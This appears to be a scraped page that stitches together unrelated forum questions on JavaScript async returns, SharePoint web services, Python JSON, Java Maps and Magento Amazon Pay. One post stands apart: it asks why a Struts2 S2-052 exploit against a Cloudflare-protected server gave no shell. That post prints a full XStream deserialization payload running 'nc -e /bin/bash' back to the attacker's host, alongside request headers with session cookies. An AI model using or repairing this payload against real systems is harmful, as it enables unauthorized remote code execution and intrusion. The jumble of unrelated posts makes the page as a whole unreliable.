Return vacío cuando en realidad lo rellena [duplicada]

Esta pregunta ya tiene una respuesta aquí:

  • ¿Cómo obtener la respuesta de una llamada asíncrona (AJAX) fuera de ella? 4 respuestas

Buenos días tengo esta función:

function formatoTipoEnvio(codigo){          var descripcion = '';         tabla.getDatos('t13003l', function(datosTabla){             console.log('datos tabla '+JSON.stringify(datosTabla))             console.log('long '+datosTabla.length)             for(var i=0;i<datosTabla.length;i++){                 console.log('I '+i)                 if(codigo===datosTabla[i].COD_VALOR){                      descripcion += datosTabla[i].NOM_VALOR;                      //return descripcion;                 }             }             console.log('Env '+descripcion);          })         return descripcion 


Al usar esta función el descripción me viene vacía. Pero mirando los console.log de Env si que lo tiene relleno. ¿Sabéis cual puede ser el problema? Muchas gracias de antemano.

Web service calls return HTTP 500 Internal Server Error on my SharePoint 2013 site

I have a SharePoint site that was running without any problem. Few days ago the search stopped working with an error in the crawl log

The crawler could not communicate with the server. Check that the server is available and that the firewall access is configured correctly

From the ULS log I was able to see that the crawler is trying to call a web service _vti_bin/sitedata.asmx, but it is failing with error HTTP 500 Internal Server Error. I believe because of this failure the crawl is not working in the farm. When I tried to call other built-in webservices in SP2013 (such as lists.asmx?WSDL), I noticed that all the ASMX services have the same problem.

Can anybody please help me to figure out what is going wrong in SharePoint? I tried to see the ULS and event viewer; nothing logged there.

Is there any way I can “reinstall” the ASMX web services in SharePoint?


The web services are not working on the site collection root site. For any subsite the web services works properly. I am still confused.

Thank you

return data JSON Python modules

i have this python code

import json def worker():     msg = '{"Status":"days gone"}'     dd = json.loads(msg)     from consumes import run     run(dd)      result = {         "Status": dados['right'] # here is the return if he managed to do the research ""         "Status": zz['Status'] # here is if anything went wrong ""     }     play = json.dumps(result)     print(play) worker() 

The code”” consumes data that is passed from

import json   from selenium import webdriver from selenium.webdriver.common.keys import Keys from time import sleep      def run(dd):         driver = webdriver.Firefox()         driver.get('')         try:             elem =  driver.find_element_by_name('q')             elem.send_keys('{}'.format(dd['Status']))             elem.send_keys(Keys.RETURN)             sucesso = '{"right":"It worked"}'             dados = json.loads(sucesso)             return dados         except Exception as e:             print(e)             driver.quit()             hh = '{"Status":"error"}'             zz = json.loads(hh)             return zz 

If in case of error in “”, The “” throws JSON data in “”.

I just need to get the JSON message if it gave error or if it was successful

How can I do this?

apache struts 2 s2-057 does not return shell?

i do a pentest for a private server protected by cloudflare .. i already bypass WAF and got the real ip for the server then i scan it by acunetix and i found a : Apache Struts2 Remote Command Execution (S2-052)

** note : please dont give me bad rate for my bad english ... sorry 

POST /ar/ictc/news.jsp HTTP/1.1 Content-Type: application/xml Connection: keep-alive Cookie: JSESSIONID=52BBFD11275ED433FC29F21A17E0CC58;__cfduid=dc8abdec85d56bcd4bd2106719f5ac58f1565510723;PHPSESSID=54a4gj6btfcigqbupokaa2rli0 Authorization: Basic YW5vbnltb3VzOmFub255bW91cw== Accept: / Accept-Encoding: gzip,deflate Content-Length: 5650 Host: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

when i try to exploit it i used command ping -n myserverip to catch the ping request by tcpdump without success 🙁 and i try to get reverse shell by netcat and by python and …. etc without success the payload i used :

<map>   <entry>     <jdk.nashorn.internal.objects.NativeString>       <flags>0</flags>       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">         <dataHandler>           <dataSource class="$  XmlDataSource">             <is class="javax.crypto.CipherInputStream">               <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                 <opmode>0</opmode>                 <serviceIterator class="javax.imageio.spi.FilterIterator">                   <iter class="javax.imageio.spi.FilterIterator">                     <iter class="java.util.Collections$  EmptyIterator"/>                     <next class="java.lang.ProcessBuilder">                       <command>                         <string>nc</string>             <string>-e</string>                         <string>/bin/bash</string>                         <string>myserverip</string>                         <string>4444</string>                       </command>                       <redirectErrorStream>false</redirectErrorStream>                     </next>                   </iter>                   <filter class="javax.imageio.ImageIO$  ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                       <name>start</name>                       <parameter-types/>                     </method>                     <name>asdasd</name>                   </filter>                   <next class="string">asdasd</next>                 </serviceIterator>                 <lock/>               </cipher>               <input class="java.lang.ProcessBuilder$  NullInputStream"/>               <ibuffer></ibuffer>               <done>false</done>               <ostart>0</ostart>               <ofinish>0</ofinish>               <closed>false</closed>             </is>             <consumed>false</consumed>           </dataSource>           <transferFlavors/>         </dataHandler>         <dataLen>0</dataLen>       </value>     </jdk.nashorn.internal.objects.NativeString>     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>   </entry>   <entry>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>   </entry> </map> 

i dont know what is the problem and why i did not get shellback ?? when i scan the server after i bypass WAF by nmap it’s show that there is no firewall

check this :

before BYPASS cloudflare : enter image description here

after BYPASS cloudflare : enter image description here

Merge-SPLogFile doesn’t return any records, but entries are there in SharePoint logs

When I run the below Merge-SPLogFile it throws me the warning

WARNING: Cmdlet did not return any records in the log file. Check your time range or filters.

Merge-SPLogFile -Correlation 2816f89e-8451-7054-1584-ad125aa03b3 -Path D:\Log.txt 

But when I checked the SharPoint logs it got messages for same correlation. I exported the logs using ULS viewer, but in my case there are multiple SharePoint WEB & APP Servers

Couple of months ago, it was returning me the records, but now it stopped working.

Pasar valores de un Map en el return de una funcion

Tengo definida la siguiente funcione que llama a un servicio SOAP para lanzar un proceso.

El key del Map que tengo definido corresponde a la variable company que hay en el return y el value corresponde a la variable codProvision. Lo que quiero hacer es pasar los valores que tengo almacenados en el Map al return de la función. Osea se que con cada valor realice una llamada defirente, ya que los valores son necesarios para realizar la llamada al servicio.

 public Stream<Arguments> provideArguments(ExtensionContext context) throws Exception {              boolean manual = false;             String indManual = Boolean.toString(manual);             String fechaCalculo = DateUtils.fechaUltimoDiaMesActual();              Map<String,String> parametros = new HashMap<String,String>();              parametros.put("CGV", "GI02R");             parametros.put("CMV", "MI05R");             parametros.put("UCV", "UI02R");              return Stream.of(Arguments.of(company,indManual, fechaCalculo,codProvision, OUTPUT_QUERY)); } 

Why does Changes API return changes for Lists that do not exist?

I am using the Changes API to fetch changes:

ChangeQuery cq = new ChangeQuery(true, true); cq.ChangeTokenStart = new ChangeToken(); cq.ChangeTokenStart.StringValue = string.Format("1;1;{0};{1};-1", site.Id, DateTime.Now.AddDays(-7).ToUniversalTime().Ticks.ToString()); cq.FetchLimit = 1000; cq.RecursiveAll = true; cq.GroupMembershipAdd = true; cq.GroupMembershipDelete = true; cq.RoleAssignmentAdd = true; cq.RoleAssignmentDelete = true; cq.RoleDefinitionUpdate = true; cq.RoleDefinitionAdd = true; cq.RoleDefinitionDelete = true; cq.User = true; cq.SystemUpdate = true; cq.Group = true; cq.SecurityPolicy = true; cq.Update = true; cq.Add = true; cq.DeleteObject = true; cq.Item = true; cq.File = true; cq.Folder = true; cq.Web = false; cq.Alert = false; cq.LatestFirst = false;  while (cq.ChangeTokenStart != null) {         var changes = site.GetChanges(cq);         context.Load(changes);         context.ExecuteQuery();          // do stuff with the changes...          cq.ChangeTokenStart = changes.Count > 0 ? changes.Last().ChangeToken : null; } 

But I am getting change items that look like this:

{eventType=SP.ChangeItem, changeType=ADD, changeToken='1;1;xxxxxx-6496-4916-8d39-39b3e42f5959;637002654799100000;194832369, siteId=xxxxxxxx-6496-4916-8d39-39b3e42f5959, webId=xxxxxxx-82a2-46a7-b3a8-ea2390950e82, listId=xxxxxxxxx-7998-4f31-879a-7d7e2dfdb809, itemId=null}, whenChanged=1564668680000} 

But this list does not exist:

List list = context.Web.Lists.GetById(Guid.Parse("xxxxxxxxx-7998-4f31-879a-7d7e2dfdb809")); context.Load(list); context.ExecuteQuery(); 

So in summary, I’m getting “ghost” lists and list items that do not actually exist as far as I can tell.

What are these “ghost ChangeItem” values? where are they coming from and should I be doing something to filter them?

Magento Amazon Pay For Europe (version 3.0.10) return error when checkout

I had an error “Your session has expired. Please sign in again by clicking the Pay with Amazon button.” when I checkout without logging to the shop.
But the request from my customer is that we can still use Amazon Payment account event when not logging to any shops.
The thing is I can use the same account with another shop without logging. There is only one shop request me to do so.
My step:
1. Place an order without logging.
2. Click “Amazon Pay” and logging Amazon Pay account.
3. The page was redirected Amazon Checkout Page and had an error “Your session has expired. Please sign in again by clicking the Pay with Amazon button.
How can I purchase with the Amazon Payment without login to the shops?